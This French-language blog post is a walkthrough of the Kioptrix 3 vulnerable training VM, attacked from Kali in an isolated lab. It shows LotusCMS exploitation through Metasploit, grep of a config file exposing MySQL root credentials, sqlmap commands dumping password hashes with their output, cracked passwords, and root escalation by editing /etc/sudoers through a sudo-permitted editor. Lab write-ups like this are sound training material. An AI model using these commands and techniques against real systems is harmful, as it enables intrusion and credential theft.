Introduction

Comme pour la première séance, on nous remet une VM dont on ne sait absolument rien et le but est de devenir l’administrateur de celle-ci. La VM peut se télécharger ICI .

Puisqu’il s’agit d’une séance de pentest, cette fois je choisi de faire le boulot avec autant que possible des outils standards. Pas de cousu main pour cette fois ! Pour ceci la distribution KALI est un bon point de départ. Virtual Box est utilisé pour faire tourner la machine attaquée et également la VM KALI attaquante. Un LAN privé est utilisé entre les 2 VM afin d’isoler complètement tout ça du PC hôte.

État des lieux

Une fois la VM lancée, nmap est le bon candidat pour regarder ce qui est ouvert sur la VM :

nmap

On a donc du SSH et du HTTP. On part sur un challenge de type « web ».

On lance quand même Nikto pour aller plus vite et on note la présence d’un PhpMyAdmin, 9 ans d’age s’il vous plait.

Première connexion, on tombe sur un CMS et un module de galerie photos :

CMS1  Gallery1

 

Obtenir un accès utilisateur à la VM

Premier chemin :

Dans l’URL du CMS on a le paramètre page= qui nous tend les bras. Le fait d’y coller plusieurs caractères simple quote nous donne une belle erreur PHP :

Une fois un peu de doc lu sur le sujet, la fonction « eval() » en PHP, si elle est pilotable, nous permet de faire exécuter du code de notre cru. J’essaye plusieurs formes telle-que , page=’phpinfo(); , page='<? phpinfo(); ?> mais rien à faire, tjrs une erreur. Iggy me fait remarquer qu’un bug comme celui-ci est presque impossible à exploiter sans le code source. Le CMS en question est donc LotusCMS, et ceci nous amène rapidement à la page suivante sur ExploitDB.

C’est le moment de démarrer Metasploit et de prendre en main l’outil. Une fois Metasploit lancé et la lecture d’un tuto plus tard, l’exploitation de la faille sur LotusCMS 3.0 donne en gros ceci : Trace session Metasploit pour obtenir un shell

A ce point précis, nous pouvons déjà lancer des commandes avec l’uid www-data. Ce qui est déjà un pas trop mal.

Maintenant on sort la frontale et on glane tout ce qui traine dans les fichiers accessibles via le compte www-data. Le gagnant sera :

cat gallery/gconfig.php | grep _mysql_
$GLOBALS[« gallarific_mysql_server »] = « localhost »;
$GLOBALS[« gallarific_mysql_database »] = « gallery »;
$GLOBALS[« gallarific_mysql_username »] = « root« ;
$GLOBALS[« gallarific_mysql_password »] = « fuckeyou« ;

Il est maintenant temps d’utiliser le PhpMyAdmin avec les identifiants ci-dessus afin de se connecter plus aisément qu’en ligne de commande et dumper complètement toutes les bases de données présentes.

Une fois les bases dumpées les tables pouvant contenir des comptes sont à privilégier et la table dev-accounts est une bonne candidate, dans laquelle ou trouve :

INSERT INTO dev_accounts (id, username, password) VALUES
(1, ‘dreg’, ‘0d3eccfb887aabd50f243b3f155c0f85‘),
(2, ‘loneferret’, ‘5badcaf789d3d1d09794d8f021f40f0e‘);

Ce qui tombe bien car ces comptes utilisateurs existent sur la VM :

ls -l /home/
total 12
drwxr-xr-x 2 dreg       dreg       4096 Feb 11 12:43 dreg
drwxr-xr-x 3 loneferret loneferret 4096 Feb 11 12:52 loneferret
drwxr-xr-x 3 root       root       4096 Apr 12  2011 www

Cote crack des mots de passes, en 2016 on n’a pas besoin de hashcat pour du MD5, Google suffira :

0d3eccfb887aabd50f243b3f155c0f85 –> Mast3r

5badcaf789d3d1d09794d8f021f40f0e –> starwars

 

Deuxième chemin :

Le trou de sécu du CMS n’était pas le seul permettant de se promener sur le serveur. Le module de gallery comportait aussi une faille de type SQL Injection. En jouant avec les URLs et surtout les paramètres on obtient assez vite une erreur intéressante :

Sqli

Il est donc temps de regarder comment sqlmap fonctionne afin de ne surtout pas se fatiguer les neurones.

L’outil est d’une simplicité déconcertante et nous permet de naviguer dans les bases de données du MySQL assez librement. Voilà les commandes à passer :

sqlmap -u « http://kioptrix3.com/gallery/gallery.php?id=1 » – -dbms=mysql  –>

GET parameter ‘id’ is vulnerable.

sqlmap -u « http://kioptrix3.com/gallery/gallery.php?id=1 » – -dbms=mysql – -dbs  –>

available databases [3]:
[*] gallery
[*] information_schema
[*] mysql

sqlmap -u « http://kioptrix3.com/gallery/gallery.php?id=1 » – -dbms=mysql – -tables  –>

Database: gallery
[7 tables]
+—————————+
| dev_accounts              |
| gallarific_comments       |
| gallarific_galleries      |
| gallarific_photos         |
| gallarific_settings       |
| gallarific_stats          |
| gallarific_users          |
+—————————+

Database: information_schema
[16 tables]
+—————————+
| CHARACTER_SETS            |
| COLLATIONS                |
| COLUMNS                   |
| COLUMN_PRIVILEGES         |
| KEY_COLUMN_USAGE          |
| PROFILING                 |
| ROUTINES                  |
| SCHEMATA                  |
| SCHEMA_PRIVILEGES         |
| STATISTICS                |
| TABLES                    |
| TABLE_CONSTRAINTS         |
| TABLE_PRIVILEGES          |
| TRIGGERS                  |
| USER_PRIVILEGES           |
| VIEWS                     |
+—————————+

Database: mysql
[17 tables]
+—————————+
| user                      |
| columns_priv              |
| db                        |
| func                      |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| proc                      |
| procs_priv                |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
+—————————+

sqlmap -u « http://kioptrix3.com/gallery/gallery.php?id=1 » – -dbms=mysql  -D gallery -T dev_accounts – -dump –>

Database: gallery
Table: dev_accounts
[2 entries]
+—-+————+———————————-+
| id | username   | password                         |
+—-+————+———————————-+
| 1  | dreg       | 0d3eccfb887aabd50f243b3f155c0f85 |
| 2  | loneferret | 5badcaf789d3d1d09794d8f021f40f0e |
+—-+————+———————————-+

Le hash des mots de passes sont donc bien obtenus également par cette 2ème faille.

 

Troisième chemin (fort probable …) :

Le PhpMyAdmin date d’il y a 9 ans ! Je n’ai pas trouvé de méthode pour passer sans m’authentifier, mais il est quasi certains qu’il doit y avoir moyen. Reste à la découvrir …

 

Le compte root

Maintenant il est temps de se connecter via le SSHD et les comptes trouvés afin de voir ce que les /homes des développeurs cachent.

Le compte dreg est vide, aucun intérêt. Par contre c’est plus intéressent pour loneferret. Là il y a encore 2 façons de voir ce qu’il est possible de faire pour passer root.

La première, plus instinctive mais moins fiable, est d’aller regarder le fichier .bash_history . Ici on trouve une seule commande : sudo ht

Et la seconde, plus élégante, c’est de demander via le mécanisme sudo ce que l’utilisateur peut faire comme commandes avec privilèges étendues. Ceci ce fait tout simplement avec la commande :

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
(root) NOPASSWD: !/usr/bin/su
(root) NOPASSWD: /usr/local/bin/ht

Dans les deux cas, on trouve que la seule commande qui se lance avec les privilèges root est sudo ht, ce que nous nous empressons de faire.

Nous récupérons l’interface suivante :

sudo_ht

(tips : si vous obtenez une erreur « Error opening terminal: xterm-256color. » au lancement de ht, avant de vous connectez en SSH lancez depuis votre terminal : export TERM=xterm ).

L’interface ci-dessus est un éditeur de texte échappé d’un autre temps mais qui permet de modifier librement tous les fichiers du disque. Il ne nous reste ensuite plus qu’à nous attribuer tous les droits dans le fichier /etc/sudoers et nous connecter au compte root avec un sudo su –. Nous sommes bien passés root :

sudo_su

P0wned !

 

Conclusion

Une VM à hacker qui amène à se poser pas mal de questions, surtout quand on ne fait pas de pentest. La ligne de conduite d’utiliser des outils tout-fait a bien été respectée, aucun mauvais script n’a été utilisé :-), ce qui a permis de découvrir quelques outils intéressants. KALI est bien adaptée à ce genre de manips.

Merci a Iggy pour avoir préparé les manips et avoir distillé quelques conseils afin que le root soit possible en séance.

Pièces jointes

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Post Navigation